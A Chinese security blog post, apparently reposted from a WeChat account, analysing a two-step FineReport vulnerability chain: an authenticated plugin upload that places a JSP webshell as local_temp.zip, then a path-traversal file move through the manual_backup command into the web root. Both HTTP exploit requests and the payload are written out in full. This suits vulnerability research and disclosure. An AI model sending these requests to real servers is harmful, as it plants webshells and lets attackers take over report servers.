帆软报表组合拳漏洞分析

admin 2022年3月22日22:08:12评论1,785 views字数 1626阅读5分25秒阅读模式

摘要

项目中有遇到一次帆软报表,当时是大哥打死的,网上搜索了下发现也没找到poc,调试分析只有一些漏洞分析,所以调试分析了下,我找到的源码和网上师傅分析的源码可能存在一些小差异,所以导致上传路径变了,导致我们移动文件的时候得根据不同情况下在选择不同的路径。

漏洞分析

关于帆软报表中的路由以及请求分发的处理,也是第一次遇见,笔者感觉还是蛮有意思的,感兴趣的读者可以自己研究。

后台任意文件上传分两步。首先我们需要先将 webshell 上传至服务器,然后再将文件移动到可访问的 web 目录下。

接下来,我们先来看第一步

插件上传的漏洞文件位于fr-platform-8.0.jar包中的com.fr.fs.plugin.op.web.action.InstallFromDiskAction,这一部分功能点对应的是后台插件上传的功能,这儿上传的代码写死了上传的文件为local_temp.zip,上传的路径为/web-inf/upload/local_temp.zip

帆软报表组合拳漏洞分析

POST /WebReport/ReportServer?op=plugin&cmd=local_install HTTP/1.1Host: 10.92.64.169:8075Content-Length: 226Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9ZPGwpk0bLORZAroAccept-Encoding: gzip, deflateCookie: JSESSIONID=53F74B74ECF933876F24232796688180; fr_remember=false; fr_password=; fr_username=erickConnection: close
------WebKitFormBoundary9ZPGwpk0bLORZAroContent-Disposition: form-data; name="install-from-disk"; filename="shell.zip"Content-Type: application/zip
<% out.print("1");%>------WebKitFormBoundary9ZPGwpk0bLORZAro--

然后我们第二步要做的是将 WEB-INF/upload/local_temp.zip 文件移动到 web 目录下,在ServerConfigManualBackupAction 类的 actionCMD 方法中,传入原始文件名和新的文件名进行文件移动操作。

帆软报表组合拳漏洞分析


自动探测


POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
Host: 0.0.0.0:8080
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=12wuh1def7w85; fr_password=; fr_remember=false
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 101

optype=edit_backup&oldname=../../../WEB-INF/upload/local_temp.zip&newname=../../../shel.jsp&serverID=

总结

关于源码中的小差异,末尾说一说,先看看网上大哥们分析的文章,上传的路径为web-infcachetemp.zip

帆软报表组合拳漏洞分析

而我这份代码对应的是web-infuploadlocal_temp.zip,  所以在实际测试中,在第二部文件移动操作的时候得根据不同条件下进行测试。

顺手也写个帆软报表后台解密小插件

帆软报表组合拳漏洞分析


原文始发于微信公众号(从零开始的回忆录):帆软报表组合拳漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月22日22:08:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帆软报表组合拳漏洞分析https://cn-sec.com/archives/834419.html

发表评论

匿名网友 填写信息